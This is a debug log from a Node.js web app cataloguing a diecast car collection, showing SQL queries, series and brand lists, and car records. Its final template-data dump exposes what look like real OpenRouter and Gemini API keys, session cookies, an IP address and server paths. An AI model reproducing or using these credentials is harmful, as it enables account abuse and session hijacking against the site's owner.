    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:01:49.910Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T07:01:49.911Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:01:49.911Z server-connect:app Executing action step identify
2026-02-04T07:01:49.911Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:49.912Z server-connect:output identity: 1
2026-02-04T07:01:49.912Z server-connect:app Executing action step restrict
2026-02-04T07:01:49.912Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:49.912Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:01:49.913Z server-connect:output restrict: undefined
2026-02-04T07:01:49.913Z server-connect:app Executing action step select
2026-02-04T07:01:49.913Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:01:49.914Z server-connect:app Executing action step identify
2026-02-04T07:01:49.914Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:49.914Z server-connect:output identity: 1
2026-02-04T07:01:49.914Z server-connect:app Executing action step restrict
2026-02-04T07:01:49.914Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:49.914Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:01:49.915Z server-connect:output restrict: undefined
2026-02-04T07:01:49.915Z server-connect:app Executing action step select
2026-02-04T07:01:49.915Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:01:49.916Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:01:49.916Z server-connect:app Executing action step select
2026-02-04T07:01:49.916Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:01:49.916Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:01:49.916Z server-connect:app Executing action step select
2026-02-04T07:01:49.916Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:01:49.917Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:01:50.210Z server-connect:router Serving templateView /
2026-02-04T07:01:50.210Z server-connect:app Executing action step identify
2026-02-04T07:01:50.210Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:50.210Z server-connect:output identity: 1
2026-02-04T07:01:50.210Z server-connect:app Executing action step restrict
2026-02-04T07:01:50.210Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:01:50.211Z server-connect:output restrict: undefined
2026-02-04T07:01:50.211Z server-connect:app Executing action step restrict
2026-02-04T07:01:50.211Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:01:50.211Z server-connect:output restrict: undefined
2026-02-04T07:01:50.211Z server-connect:router Render template layouts/main
2026-02-04T07:01:50.211Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
